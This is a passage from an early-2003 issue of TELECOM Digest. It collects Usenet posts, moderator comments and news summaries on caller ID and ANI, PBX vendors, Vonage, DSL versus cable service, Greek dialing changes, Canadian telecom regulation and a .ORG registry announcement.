someone, somewhere is passing an 'incorrect' (to voicemail's and your) point of view. The VM is saying what do I do with this and gives it a generic greeting. See if you can figure out, using caller-ID boxes what is actually being passed in each of those cases you described above. Then advise telco you want any or all of those unidentified (to VMs point of view) numbers to be 'aliased' to the correct number. Is somewhere a DID number or the original caller's number being handed over to VM who knows nothing about them? If your wireless number is X, I assume X should always be what is handed to the VM. By a series of tests some number (other than X) is getting to the VM now and then. Keep us posted. PAT] ------------------------------ From: atlanta@att.net (K. Faraday) Subject: Re: ANI and TracFone Date: 18 Jan 2003 07:52:21 -0800 Organization: http://groups.google.com/ Thanks for your responses. I may be using an incorrect term when I say ANI because I know some numbers such as 800's **DO** get the caller's billing info. Before I understood why they do this, I once had a mail order company ask all kinds of questions about my telephone account such as how it is listed, actual billing name, etc. I thought they were just trying to get the information from me under the guise of saying they had to verify everything so I gave incorrect information and the rep. immediately knew this and said my response did not match what he showed on his screen [my phone was listed at that time under someone else's name] and I had to then give the correct info. which he obviously did have because he was able to tell when I gave him the accurate name. The billing info. on my credit card was different from the info. on my phone account so that was why they were asking, but they did have everything just by my having made the call as I had never delt with this company before and certainly had never given them my ph. co. info. This call was from a landline phone as oppsosed to a cell phone but with all the new technology I was curious as to how much info. goes out with cell calls. Thanks again for all your help. Kelly Stanley Cline wrote in message news:: > On 15 Jan 2003 08:48:25 -0800, atlanta@att.net (K. Faraday) wrote: >> I have an old analog TracFone and I was wondering if when I call >> somewhere that has ANI (not Caller ID) such has a business or 800 >> number, if they get my name and address. I know they ALWAYS get the > Not unless they already have your wireless number associated with your > name and address by virtue of you having an account with them, etc. > Besides, businesses won't even always get your number via *ANI* as > wireless ANI is wildly inconsistent; some wireless carrier switches > send customers' actual wireless numbers as ANI, while others send > ""trunk"" numbers that have nothing at all to do with the customer -- > and may not even be in the same state as the wireless customer's phone > number, home, or office, or where the customer is physically located > when they make the call. > My favorite example of the latter: one very small, rather unusual, > rural wireless carrier sends a Yuma, **Arizona** number -- which just > happens to be the carrier's roamer access number -- as BOTH CALLER ID > AND ANI on any and all calls placed from a town it serves in rural > northeastern **Tennessee**! (The carrier actually backhauls its lone > cell site in that town -- and cell sites in other areas in at least a > half-dozen other states -- all the way to Yuma ...) Caller ID name for > such calls (assuming the LEC serving the called party is Qwest, or has > access to Qwest's name database like BellSouth does) is the name of > the carrier, of course ... ;) > Stanley Cline -- sc1 at roamer1 dot org -- http://www.roamer1.org/ > ""Never put off until tomorrow what you can do today. There might > be a law against it by that time."" -/usr/games/fortune ------------------------------ From: jeffmoss26@adelphia.net (Jeff Moss) Subject: Re: Intertel vs. Harris 20-20 Date: 18 Jan 2003 12:57:18 -0800 Organization: http://groups.google.com/ I couldnt agree more with Inter-Tel. My dad works for the largest Inter-Tel Platinum Dealer in Cleveland. They sell a ton of different systems and solutions, but Inter-Tel is their #1 system hands down. I have seen a lot of their new advanced networking features, they look pretty cool. Not cheap, though. ------------------------------ From: PaulCoxwell@aol.com Date: Sat, 18 Jan 2003 16:21:52 EST Subject: Vonage Telephone via Internet I came across this website: www.vonage.com The basic offer is a U.S. local telephone line in any one of a number of areas, accessible to you anywhere in the world by way of the Internet, so long as one has a DSL/Broadband connection. A flat monthly fee of $39.95 provdes unlimited local and long-distance calls within the U.S., international calls billed at normal rates, and the ability for anyone to reach you anywhere in the world on your U.S. number. I'd be interested if anyone is already using this service, or has any experience of it, especially from the point of view of using it from overseas. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sun, 19 Jan 2003 23:10:14 -0500 From: Monty Solomon Subject: Mobile Phonecos Braced for Tough Price Cuts By Tim Richardson It appears that the UK's mobile phone operators have lost their fight to stave off enforced price cuts following a year-long investigation by the Competition Commission. The FT reports that termination charges - the fees service providers charge for routing calls from other operators through their networks - could be slashed by 15 per cent with a further 14 per cent reduction over three years. Any price cuts would be implemented from April, according to the newspaper. http://www.theregister.co.uk/content/59/28915.html ------------------------------ Date: Sun, 19 Jan 2003 23:11:01 -0500 From: Monty Solomon Subject: Register.com Rejects 'Inadequate' Hostile Bid By ComputerWire Register.com Inc yesterday rejected an unsolicited takeover bid that was launched on Wednesday by a group of investors as ""financially and structurally inadequate"", claiming the potential buyer was trying to pressure the company to sell cheap, writes Kevin Murphy. RCM Acquisition Co LLC's offer of $4.95 cash per share, representing a bid of almost $200m, ""does not reflect the significant opportunities Register.com has to grow value for our stockholders,"" said Register.com executive chairman Mitchell Quain. http://www.theregister.co.uk/content/7/28909.html ------------------------------ Date: Sun, 19 Jan 2003 23:11:57 -0500 From: Monty Solomon Subject: Rumsfeld Orders .mil Web Lockdown By Kevin Poulsen, SecurityFocus Online U.S. defense secretary Donald Rumsfeld this week directed the armed service to strip military Web sites of information that could benefit adversaries, citing a terrorist training manual and a year-long review of the Department of Defense's 700-gigabyte Web presence. http://www.theregister.co.uk/content/55/28917.html ------------------------------ Date: Sun, 19 Jan 2003 23:13:34 -0500 From: Monty Solomon Subject: ""I Poisoned P2P Networks For the RIAA"" - Whistleblower By Andrew Orlowski in San Francisco ""Gobbles"", the German hacker who improbably claimed to have infected peer-to-peer file sharing networks and to ""0wn"" your computer this week, has confirmed that his brag was a hoax. That much, you probably suspected, as Goebbels (as we must now call him) failed to offer a shred of evidence in support of the notion that the RIAA was engaged in widespread intrusion of personal computers. But meet Matt Warne. He has an interesting tale to tell. http://www.theregister.co.uk/content/6/28919.html ------------------------------ Date: Mon, 20 Jan 2003 00:25:37 -0500 From: Monty Solomon Subject: Judge to Hear Air ID Challenge By Julia Scheeres 02:00 AM Jan. 18, 2003 PT San Francisco -- A U.S. District Court judge agreed to hear a challenge to an airline requirement that forces passengers to show identification before boarding a plane, despite a motion by the government and two airlines to dismiss it. John Gilmore, the co-founder of the Electronic Frontier Foundation, has sued United Airlines, Southwest Airlines and Attorney General John Ashcroft, alleging that the ID requirement stems from a ""secret law"" that violates his right to anonymous travel within the United States. The case stems from two July 4 incidents in which Gilmore refused to show his ID at San Francisco and Oakland airports before boarding cross-country flights. Southwest refused to let him board without identifying himself, while United said he could board if he submitted to a hand search, which he refused. Gilmore, a longtime libertarian, arrived at the federal building wearing Birkenstocks and a purple suit jacket. Pinned to the lapel, was a button with the words ""suspected terrorist"" superimposed over the shape of an airplane. http://www.wired.com/news/politics/0,1283,57276,00.html ------------------------------ Date: Sun, 19 Jan 2003 12:16:32 -0500 From: Monty Solomon Subject: A Sinking Feeling at the Register By DAVID LEONHARDT ONE year ago, a 50-inch Hitachi television cost $1,400 at Circuit City. It costs $1,000 today. Five years ago, automakers charged $25,500 for the average new vehicle. They charge about $24,500 today. A decade ago, a round trip on Delta Air Lines between New York and San Francisco cost $388 - and it was part of a sale. Delta now sells the same advance-purchase ticket for $317. Most stunning is the price path of Burger King's Whopper sandwich, which cost about $1.40 some 20 years ago, when the Dow Jones industrial average hovered around 1,000 and hourly wages were about one-half their current level. This weekend, a Whopper sells for 99 cents. Deflation, a sustained decline in prices across the economy, remains merely a threat, with overall prices still rising mildly. For some of the nation's largest industries, though, falling prices are a reality. The costs of cars, clothing, electronics, furniture, jewelry, kitchen equipment and toys - indeed, of most manufactured goods - have been dropping for more than a year, causing turmoil for companies and their workers. Although airlines and fast food are among the only industries in the service sector to be suffering through declines, overall service prices are rising more slowly than they were two years ago, according to figures released last week. http://www.nytimes.com/2003/01/19/business/yourmoney/19ECON.html ------------------------------ Date: Sun, 19 Jan 2003 13:32:34 -0500 From: Monty Solomon Subject: World Ports Using Electronic Security System to Fight Terrorism By Gene Johnson, Associated Press, 1/18/2003 SEATTLE - Eleven of the world's busiest seaports, including New York, have started using an electronic container security system that was developed to help the US military keep track of food, ammunition, and other gear shipped overseas. The technology, created by Savi Technology of Sunnyvale, Calif., relies on electronic seals placed on container closures. Using radio signals, the seals can transmit information about where the container is, what is inside it and whether it has been opened - all crucial to thwarting smugglers or terrorists. http://www.boston.com/dailyglobe2/018/nation/World_ports_using_electronic_security_system_to_fight_terrorism+.shtml ------------------------------ Date: Sun, 19 Jan 2003 13:36:04 -0500 From: Monty Solomon Subject: Judge Approves Class Action Status for South Carolina Lawsuit By Associated Press, 1/18/2003 08:47 SPARTANBURG, S.C. (AP) A judge approved class-action status for a lawsuit accusing cable television company Charter Communications of requiring South Carolina customers to rent unnecessary equipment or pay a bogus wire maintenance fee. http://www.boston.com/dailynews/018/nation/Judge_approves_class_action_st:.shtml ------------------------------ Date: Sun, 19 Jan 2003 13:37:50 -0500 From: Monty Solomon Subject: Court Rules Against Network Associates' Software Review Policy By MATT RICHTEL New York court has ruled that Network Associates, a maker of popular antivirus and computer security software, may not require people who buy the software to get permission from the company before publishing reviews of its products. The decision, which the company has vowed to appeal, could carry a penalty in the millions of dollars, according to Ken Dreifach, chief of the Internet bureau of the office of the New York State attorney general, Eliot Spitzer. Last spring, Mr. Spitzer sued Network Associates, which has its headquarters in Santa Clara, Calif., asserting that the company's software included an unenforceable clause that effectively violated consumers' free speech. The clause, which appeared on software products and the company's Web site, read: ""The customer will not publish reviews of this product without prior consent from Network Associates Inc."" In a decision the parties received late Thursday, Justice Marilyn Shafer of State Supreme Court in Manhattan ruled that the clause was deceptive and that it warranted a fine, which she wrote that she would determine in the future. http://www.nytimes.com/2003/01/18/business/18SOFT.html ------------------------------ Date: Sun, 19 Jan 2003 13:44:46 -0500 From: Monty Solomon Subject: 802.11g Update By Adam Engst and Glenn Fleishman (1/17/2003) In 2002, Wi-Fi -- mostly in the form of 802.11b equipment -- ruled the land. The faster, 54 megabit-per-second (Mbps) 802.11a devices that shipped during 2002 seemed interesting, but because they used a different frequency than 802.11b and also cost more, only a small number of early adopters and testers bought in. More promisingly, 802.11g winked at us from the horizon. That standard runs, like 802.11a, at 54 Mbps but with full backward compatibility with 802.11b. Because of political and technical conflicts, the specification's IEEE committee work dragged on, but a final version appears likely to be ratified by summer or fall 2003. Technology doesn't wait for engineering groups, though: against some industry experts' better judgment, several companies have started to ship equipment based on chipsets that use a draft version of 802.11g to achieve the higher speed and better indoor signal characteristics. Apple, of course, was one of the first out of the gate -- just like with 802.11b -- announcing new products under the AirPort Extreme name in January 2003 at the Macworld Expo. But Linksys, Buffalo, and Belkin -- in roughly that order -- beat Apple to the punch by shipping a variety of gateways and adapters in December 2002 and January 2003, but Apple has released substantially more detail about their equipment while also offering a few interesting features in their new wireless gateway that may tempt people with no Macintoshes in sight. In this addendum to The Wireless Networking Starter Kit, we discuss the forward and backwards compatible issues with 802.11g and Apple's AirPort Extreme, and run through Apple and other vendor's equipment. http://wireless-starter-kit.com/80211g_update.html ------------------------------ Date: Sun, 19 Jan 2003 16:12:07 -0500 From: Monty Solomon Subject: Microsoft Introduces CD Copy-Protection ""Fix"" By Bernhard Warner, European Internet Correspondent CANNES, France, Jan 18 (Reuters) - Microsoft Corp. (NASDAQ:MSFT) announced on Saturday the introduction of new digital rights software aimed at helping music labels control unauthorized copying of CDs, one of the biggest thorns in the ailing industry's side. Stung by the common practice of consumers copying, or ""burning,"" new versions of a store-bought CD onto recordable CDs, music companies have invested heavily in copy-protection technologies that have mainly backfired or annoyed customers. For example, most copy-proof CDs are designed so that they cannot be played on a PC, but often this prevents playback on portable devices and car stereos too. Last year, some resourceful software enthusiasts cracked Sony Music's (TOKYO:6758) proprietary technology simply by scribbling a magic marker pen around the edges of the disc, thus enabling playback on any device. Microsoft believes it may have come up with a solution. The new software is called the Windows Media Data Session Toolkit. It enables music labels to lay songs onto a copy-controlled CD in multiple layers, one that would permit normal playback on a stereo and a PC. - http://finance.lycos.com/home/news/story.asp?story=30990611 ------------------------------ Date: Sun, 19 Jan 2003 16:13:22 -0500 From: Monty Solomon Subject: Legendary Hacker to Get Unleashed and Online By Elinor Mills Abreu SAN FRANCISCO, Jan 19 (Reuters) - One of the world's most famous computer hackers gets off probation this week and plans to dive back into the Internet, his former playground where breaking-and-entering landed him in jail for five years. On Tuesday, 39-year-old Kevin Mitnick will log on to the Internet for the first time in eight years, during the live TechTV show ""Screen Savers."" Also scheduled to be on the program are Shawn Fanning, creator of Internet music downloading pioneer Napster, and Steve Wozniak, a co-founder of Apple Computer Inc. (NASDAQ:AAPL) Mitnick says he is ready to go to work, ironically, in a position where he will be helping protect companies against the kind of hacking he used to do. He has a job interview scheduled for Monday, but declines to name the company. - http://finance.lycos.com/home/news/story.asp?story=30998374 ------------------------------ From: stevenl11@aol.com (Steven Lichter) Date: 19 Jan 2003 02:10:32 GMT Organization: AOL http://www.aol.com Subject: Radio Shack: Name/Phone/E-Mail The ads hit the radio today that Radio Shack is no longer asking for these. They want it to be easy to buy from them. Could the cause of this be the 20% loss in business? Apple Elite II 909-359-5338. Home of GBBS/LLUCE, support for the Apple II 24 hours 2400/14.4. An OggNet Server. The only good spammer is a dead one!!! Have you hunted one down today? (c) I Kill Spammers, Inc. A Rot In Hell Company. [TELECOM Digest Editor's Note: Let's hope the new policy is national in scope and applies to dealers and agency stores alike. At our local Radio Shack agency store here in Independence it was not much of an issue since the two guys who manage and own the store know almost everyone in town, and everyone knows them. But in the Chicago area for many years, this was quite a bone of contention. To buy a set of batteries for cash, they wanted to know names, addresses, etc. PAT] ------------------------------ From: dave@compata.com (Dave Close) Subject: Re: Email Forwarders Date: 18 Jan 2003 19:06:36 -0800 Organization: Compata, Costa Mesa, California Jack Hamilton wrote: > 1) You might belong to an organization which provides email forwarding > addresses to its members. The email address I use to post to Usenet > is provided by the Association for Computing Machinery; mail sent to > jfh@acm.org is automatically rerouted to a real mailbox elsewhere. If > that real mailbox goes away because the provider is bought up, no one > but me has to know - I just change the forwarding address, and > jfh@acm.org continues to work. That's a great technique and I use it also. I have both an IEEE address and an alumni association address which forward to my real mailbox. But, when I reply to an incoming message, the recipient will learn, and perhaps retain, my actual mailbox address. I can change the From: line in my mail but I have no way to insure that all recipients will pay attention. The true Sender: address is always there. What's your answer to this problem? Dave Close, Compata, Costa Mesa CA ""Politics is the business of getting dave@compata.com, +1 714 434 7359 power and privilege without dhclose@alumni.caltech.edu possessing merit."" - P. J. O'Rourke ------------------------------ From: Greg T. Knopf Subject: Re: DSL vs Cable Date: 19 Jan 2003 02:01:46 GMT Organization: Concentric Internet Services Reply-To: gtknopf@concentric.net Hello, >> [TELECOM Digest Editor's Note: So $58 minus $47 or $61 minus $50 is >> ... >> For that matter I >> really have problems with cable modem service also. I cannot see >> where/how it is any faster than DSL, It might be more reliable and more easily accessible. Reliable in that the DSL service is dependent on the quality of the phone lines with their attendant quirks. More easily accessible in that DSL service is dependent on distance from the central office. This is not to discount DSL. There are some DSL services which guarantee 765kb/s download/downstream and 256kb/s upload/upstream or some such number. This is between the residence and the central office DSLAM (digital subscriber line access multiplier) equipment. On a cable system you do indeed share bandwidth with those in your locale. The cable/broadband access is a shared broadcast medium. So in theory you can have your downloads, etc., throttled by whatever anyone else on the same system is doing. I've never seen it but my experience is limited. >> and in fact I've heard rumors that cable modem users with 'network >> neighborhood' enabled on their computers get a lot of spies reading >> their files, etc. True? PAT] > Re: network neighborhood, I don't think there is any difference for > DSL vs Cable. In both cases, you esentually become part of a larger > network, usually the ""internet"", and if you expose those services > without a firewall, people will see them. Yes, of course. And it depends on which interface that you expose those services. The probable desired setup is to have those services enabled/visible on the local network within your home, for example, and hidden from the wider internet. I guess that the prejudice about cable modem users comes from them being favored as targets for people trying to break in. They are most likely to have their machines ""always on"" as opposed to a dialup access user. Also, someone trying a variety of break-in techniques enjoys quicker access to the target machine on a cable network than they would going to a dialup user's machine. Please correct me if I'm wrong, folks. Greg gtknopf@concentric.net [TELECOM Digest Editor's Note: Although I have DSL here in Independence I am always 'on line'. I never turn it off. However I have noticed that every day or two, sbcglobal.net does play around with the IP addresses. Sometimes I get dumped off line for no apparent reason. But when it is up and running (most of the time) is is pretty fast. I am only five or six blocks away from Edison CO (620-330/331/332 which serves Independence) so I get fairly fast service. The only people in town who cannot get DSL (if they want it) are the folks on the far north side of town in the area called 'Country Club'. Everyone here in town is served by 620-331, but they are just a wee bit too far north to be within the range of DSL. (620-330 is Montgomery County offices and a few cell phones such as mine; 620-332 is City of Independence and a few cell phones and a couple other *large* companies in the town.) PAT] ------------------------------ From: John David Galt Subject: Re: Calling Party Pays to Call Cellular Date: Sat, 18 Jan 2003 20:56:51 -0800 Organization: Diogenes the Cynic Hot-Tubbing Society Mark J Cuccia wrote: > FOR THE MOST PART, cellular/wireless numbers *do* have dedicated NXX > c.o.codes, but they are *within* standard NPA (area) codes. AND, we > don't have ""dedicated"" cellular area codes or any dedicated partition > of numbering for cellular. And I for one am glad that we don't! > The FCC stated some years back that 'dedicated' area codes or > numbering at that level strictly for cellular/etc. is ""discriminatory"". I seem to recall that what the FCC actually said was that forcing cellular subscribers, but not landline subscribers, to CHANGE to a new area code was discriminatory. I doubt they would object to the creation of a new cellular-only area code if moving into it was voluntary on the part of the individual cellular subscriber. However, any such code would suffer from the same problem that killed AT&T's EasyReach (700/500) service: Office PBX managers would block calls to the new code for fear it would be used to offer phone sex. One can hope that pay phone owners would not block it, though, if the cost is predictable (say, a national flat rate, as it is in the UK). > And if EVER portability really gets extended to cellulars, my > understanding is that not only would one be able to port their > cellular number amongst different cellular providers, but also be able > to port a number between landline and cellular! Thus a single NPA-NXX > code could have wireless and landline -xxxx line-numbers all > intermixed! That's my understanding too. If a cellular-only area code were created, number porting into and out of it would have to be forbidden, but that is not beyond the realm of possibility. ------------------------------ From: Spyros Bartsocas Date: Sun, 19 Jan 2003 16:24:25 +0200 Subject: Greek Dialing Plan Changes Phase 4 As of January 19, the last change of the new Greek dialing plan is in effect. All mobile numbers have the initial 0 replaced by a 6: Provider Old Number New Number TeleStet 093-1234567 693-1234567 Vodaphone 094-1234567 694-1234567 CosmoOte 097-1234567 697-1234567 Q-Telecom 099-1234567 699-1234567 Beeper numbers have also changed from 0920-123456 to 6920-123456 When calling from abroad, these change consists of the digit 6 being added between the country code and the service code, e.g. +30-9x- yyyyyyy becomes +30-69x-yyyyyyy. Note the choice of the digit 6 is consistent with the dialing plans of France and Spain (and possibly other countries as well). ------------------------------ Date: Sun, 19 Jan 2003 16:27:52 -0500 From: Jeff Hecht Subject: Cingular Cellphone Flakiness My has been having a peculiar problem with her Cingular cellphone service on a new GPA Nokia phone. Every so often the phone seems to develop amnesia, and won't receive calls. Incoming calls go into voice-mail without ringing the phone and the phone can't dial out at all (she gets busy signals trying to dial out). She can't access voice mail. Pushing options, she gets 0000 and Field Test. She's taken it back to Cingular a couple of times to have it reset, but after several weeks it's back to doing it again. Has anybody seen these symptoms before? Any idea what they might mean? Thanks, Jeff Hecht [TELECOM Digest Editor's Note: You say when dialing out she gets 'busy signals'. Do you mean she gets a rapid busy tone, otherwise known as a 'no circuits available' tone? The cell tower apparently has a limited number of lines available for incoming/outgoing calls, and I am sure this is what is happening. When a call comes in, it hits that no-circuit condition coming in to the tower and treats it like any 'busy signal' and transfers the caller to voicemail. Likewise on her outgoing calls, after she presses 'send' the phone in essence goes off hook and that fast busy (no circuits tone) greets her. That same condition is a regular gripe of people who use Alltel prepaid cellular service here on the cell tower south of town in Liberty, KS. If you complain about it to George, the Alltel sales rep over at Walmart, he is quick to lay the blame on Southwestern Bell, saying 'they just won't give us the number of lines we need.' One day I asked him about it, complaining on behalf of two of my friends who because of their youthful age (teenagers) do not qualify for 'regular' type cell service. Their same youthful age prevents them from knowing much telco stuff about 'fast busies' for no-circuits, etc. He actually that day made a call to an Alltel engineer in Little Rock, Arkansas and reported to me that the egg was on their face that time: SWB Telco *had* finished installing a new bank of lines, but had 'forgotten' to turn the lines on and put them in service. My friends had in turn been getting complaints from their girl friends who demanded to know why their lines had been busy all the night before. Alltel only about a month ago started offering voicemail and caller ID to their prepaid customers off of the Liberty, Kansas (620-924) cellular tower. But to hear George tell it earlier, the excuse was 'we cannot force Southwestern Bell to hurry any faster than they want to'. Maybe that's your wife's problem also. PAT] ------------------------------ From: Robert Woolley Subject: Re: Mobile Operators' Regulatory Time Bomb Date: Sun, 19 Jan 2003 22:45:08 +0000 On Thu, 16 Jan 2003 22:19:05 -0500, Monty Solomon wrote: > Wall Street Journal > BUSINESS EUROPE > Mobile Operators' Regulatory Time Bomb > By LEONARD WAVERMAN > The U.K.'s competition regulator is in danger of deciding that > Europe's decade of success in the mobile-phone business was a > mistake. It would like to turn back the clock, or at least make > Europe's wireless industry look a lot more like the far > less-successful American mobile-phone business. [snip] This article missed one critical area of the Compeition Commission's work; the review of call charges between mobile networks. In the UK generally calling an-on network phone from a mobile costs the same as calling a landline. Calling an off-network can be between 3 and 10 times more expensive. OFTEL, the regulator was looking to get operators to slash that differential. Rob rob at robertwoolley dot co dot uk ------------------------------ From: ssolton Subject: Re: Intertel vs. Harris 20-20 Date: Sun, 19 Jan 2003 18:18:17 -0700 I agree with the Sales Engineer. With one exception. There is nothing wrong with buying from an authorized Inter-tel dealer. I work for a very reputable dealer in Colorado. Our office is as good if not better then the local direct office. Whatever you do find s dealer you like and trust and bulid a relationship with them. That will get you your best results. Steve Drew Ritenour wrote in message news:telecom22.240.17@telecom-digest.org: > dave.turnbull@omsg.co.uk (Dave Turnbull) wrote in message > news:: >> We are considering replacing a Harris (Teltronics) 20-20 with an >> Inter-tel Axxess solution to run a multi-site skills based call centre >> with PBX functionality for each site as well as intra-site voip calls >> across existing leased lines. Does anybody have experience of this, >> because the Inter-tel solution (price) seems almost too good to be >> true based upon our experience with the 20-20. I am told that >> performance and capabilities of the Axxess is not on a par with the >> 20-20 - any comments? > Dave: > I am an sales engineer for one of the top five Inter-tel dealers in > the country. We currently have five offices networked via IP over > leased lines. We are one of the major beta test sites for Inter-tel. > I don't know the Harris system at all. But take into consideration > market share and profitability and no one else can match Inter-tel. > Let me tell you when I design call center applications I add features > that will push my comp. to go to their Definity Call Center > Application and I am 30% less than what they are while providing 90% > of their functionality. > Go for the Inter-tel. If it isn't a direct office....shop for the > best. ------------------------------ From: Rollyfngaz@aol.com Date: Sun, 19 Jan 2003 21:11:43 EST Subject: NPA-NXXs Rate Centers I am looking for information on what rate centers and NPA-NXXs are local to each other.Please send all correspondences to: Adrian.Anderson@Nextel.com. Thanks. ------------------------------ From: Joey Lindstrom Date: Sun, 19 Jan 2003 21:34:10 -0700 Subject: Last Laugh! Bible College Shuns 666 Phone Number Reply-To: joey@garynuman.info VANCLEVE, Kentucky (AP) -- A small Appalachian Bible college is fighting to change its telephone number because the 666 prefix is disturbing to Christians who recognize it as the biblical mark of the beast. http://www.cnn.com/2003/US/South/01/18/offbeat.mark.of.the.beast.ap/inde x.html (It's odd that they use the language ""fighting"", since the story goes on to say that telco is cooperating fully. Apparently the request for a new number was made about six months ago, and the story quotes telco's lawyer as saying the number will be changed as soon as possible. It also adds the area got a new prefix, 693, ""recently"" but doesn't specify just how recently.) / From the desk of Joey Lindstrom / ""Information is not knowledge; knowledge is not wisdom; wisdom is not / truth; truth is not beauty; beauty is not love; love is not music; music / is the best."" / --Frank Zappa [TELECOM Digest Editor's Note: Why do you suppose it is there is not (and is unlikely to ever be) an area code '666'? Same reason. Americans are very superstitious people. There used to be a (named) exchange in Chicago called 'MONroe'. That got changed, (like all named exchanges) to the numerical value '666'. Someone started a rumor that the Checker Taxicab Company was owned and operated by Satan and they (the rumor- pusher) could 'prove it' since after all, the telephone number to call for a taxicab was 666-3700. No matter that Checker had had that number for about 75 years (when they were driving Model-T Fords as taxicabs) under variations of the 3700 number. In 1920 the taxicab number was MONroe-3700. Then on to MOnroe-6-3700, and from sometime in the 1970's when they had occassion to get new cabs or repaint the old ones, the number was 666-3700. Unlike 1920, when things were different to say the least, the Monroe central office general neighborhood has changed quite drastically. In those days -- the 1920's -- Monroe served a mostly white, Jewish neighborhood. Starting sometime in the 1950's the Jews all moved out and the neighborhood turned all minority. A very prominent synagogue in those long ago days had the phone number of MONroe-1000. When the synagogue closed down and a fundamentalist black church group took over the building, the first thing they did was get rid of that 666-1000 phone number. The taxicab people also changed their number (but partly because the dispatch operation was consoli- dated with Yellow Cab). Now the two of them use 773-TAXICAB. Here in Independence, I am told that a Pentacostal Church had been given the number 1666 years and years ago, and that when dial service started in the 1950's and it changed to EDison 1-1666 they wanted *their* number changed. Do not ask me to figure out how people's minds work. If I could do that and sell my results, I would be a rich man today. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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In addition: ** AT&T Canada will adopt a new brand name by September 9. It will cease use of the AT&T name for most purposes by year- end, and on calling cards and Internet addresses by June 30, 2004. ** AT&T Corp. can serve Canadian customers directly, including by competing with AT&T Canada. ** AT&T Canada has also received court approval to disseminate its restructuring plan to creditors, who will vote on it on February 20. CRTC TO REVIEW TELCO WINBACK PROMOS: Telecom Public Notice 2003-1 invites comment on whether the CRTC should continue to approve winback promotions by incumbent telcos, ""given the state of competition in the local wireline telephone market."" The Commission has suspended consideration of new winback proposals in the meantime. http://www.crtc.gc.ca/archive/ENG/Notices/2003/pt2003-1.htm DSL WINBACK RULES EXTENDED: CRTC Telecom Decision 2003-1 extends the DSL winback rule set for Bell Canada last June (see Telecom Update #339) to Aliant, SaskTel, and Telus. The ruling sets a 90-day prohibition on trying to win back customers who switch to an ISP that uses the telco's wholesale DSL service. http://www.crtc.gc.ca/archive/ENG/Decisions/2003/dt2003-1.htm Q3 2002 TELECOM STATISTICS RELEASED: Statistics Canada has released its telecom services report for third quarter 2002. In the first nine months of 2002, wireless revenues and profits grew substantially compared to 2001, while wireline revenues and profits declined, resulting in essentially flat industry performance. Capital spending fell 25%. http://www.statcan.ca:80/Daily/English/030116/d030116a.htm BELL LAUNCHES SPEECH RECOGNITION: Bell customers in Ontario who dial the 310-BELL customer service number are now served by a speech recognition system based on Nuance technology. The system, dubbed Emily, will be introduced across the country at a cost of $10 million. CRAIG, UBS TAKE STAKES IN LOOK: Craig Wireless International has bought 29.9% of the shares of Look Communications and will buy another 2.6% if the CRTC approves. Unique Broadband Systems has acquired 20% of Look's shares for $2.3 million. Craig and Look offer wireless cable service in Manitoba and Ontario respectively; UBS makes fixed wireless equipment. (See Telecom Update #359) LUCENT WINS BELL DSL CONTRACT: Lucent Technologies has won a multi-year contract to provide its AnyMedia equipment to Bell Canada, to expand Bell DSL service in Ontario and Quebec. Lucent says it's ""our first major inroad into Bell."" GT MEMO SAYS LAYOFF COMPLETED: According to the Toronto Star, Group Telecom CEO Dan Milliard has told his staff that ""there are no additional headcount reductions planned or scheduled at this time."" GT's sales force is ""the core aspect of the business"" and will be retained. (See Telecom Update #361) PAYPHONE DIRECTORY CHARGE REJECTED, FOR NOW: CRTC Telecom Order 2003-21 rejects a proposal from MTS to charge for directory assistance from payphones. The Commission says it may revisit the question in a wider proceeding on payphone pricing. http://www.crtc.gc.ca/archive/ENG/Orders/2003/o2003-21.htm GLOBALSTAR FINDS A BUYER: New Valley Corp, a Miami-based investment company, has agreed to invest US$55 million in satellite phone company Globalstar LP, now under bankruptcy protection. Subject to court approval, New Valley will take an 80% stake in the reorganized company. ERICSSON, ROGERS AT&T RENEW EQUIPMENT DEAL: Rogers AT&T Wireless has awarded Ericsson Canada a three-year contract for wireless equipment and services worth up to $465 million. TELUS TO OFFER BLACKBERRY ON 1X: Telus Mobility says it will offer a 1XRTT version of the RIM BlackBerry to enterprise customers across Canada. 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As part of its commitment to operate the .ORG domain in a manner that is responsive to the needs, concerns, and views of the noncommercial Internet community, PIR is establishing a .ORG Advisory Council to advise the management team on issues unique to the noncommercial world. These issues may range from policy to the introduction of new services, and the Council will serve as an ombudsman-type resource for management as it seeks to incorporate the broadest possible input for important decisions. Council membership will consist of leaders representing a broad and geographically diverse spectrum of the noncommercial community, including but not limited to educational, artistic, cultural, human rights, political, religious and scientific sectors. At least two members will be chosen from each of the following six regions: Asia, Africa, Europe, North America, Asia Pacific and Latin America. ""The .ORG Advisory Council provides an important opportunity for leaders in the noncommercial community to participate in the continued growth of the Internet. We welcome nominations from all sectors of the non-profit community and from regions all around the world,"" said Marc Rotenberg, executive director of EPIC, PIR Trustee and founder of the Public Voice Coalition. The Public Voice works to promote public participation in decisions concerning the future of the Internet. ( www.thepublicvoice.org ) For complete information on PIR's .ORG Advisory Council, including the Charter, and PIR Bylaws, go to www.pir.org/about/council.html Council members will be announced on March 1, 2003. Nominations must be submitted before February 1, 2003. Please contact nominations@pir.org. PIR will institute additional mechanisms to enhance responsiveness to the noncommercial community including web-based input mechanisms for interested parties and special services designed to protect the security and privacy of noncommercial organizations, including ORGWatch, ORGlock, ORGSearch, ORGCloak, and ORGSure. ABOUT PIR Public Interest Registry (PIR) is a not-for-profit corporation created to manage the .ORG domain. PIR's mission is to manage the .ORG domain in a way that supports the continuing evolution of the Internet as a research, education and communications infrastructure, and educates and empowers the noncommercial community to most effectively utilize the Internet. PIR was created by the Internet Society (ISOC). ISOC is a not-for-profit, open membership organization founded in 1991 and is dedicated to ensuring the open evolution, development and use of the Internet for the benefit of all people. It provides leadership in the management of Internet related standards, policy developments and education. PIR is based in Reston, Virginia. Further information can be found at www.pir.org. Contact: Julie Williams Tel: 703-464-7005, x111 cell:703-402-6715 jwilliams@pir.org Public Interest Registry +1.703.464.7005 Fax: +1.703.464.7006 URL: http://www.pir.org ------------------------------ From: harryhydro@hotmail.com (harry) Subject: Re: Modular ICS + Startalk Date: 20 Jan 2003 11:51:52 -0800 Organization: http://groups.google.com/ Hi Folks: Someone sent me a great link for Norstar stuff. http://www.optiontelecom.com/tech_support/Helpful_docs_list.htm Take Care! Harry Dave Phelps wrote in message news:: > In article , harryhydro@hotmail.com > says: >> I hope I'm giving you enough 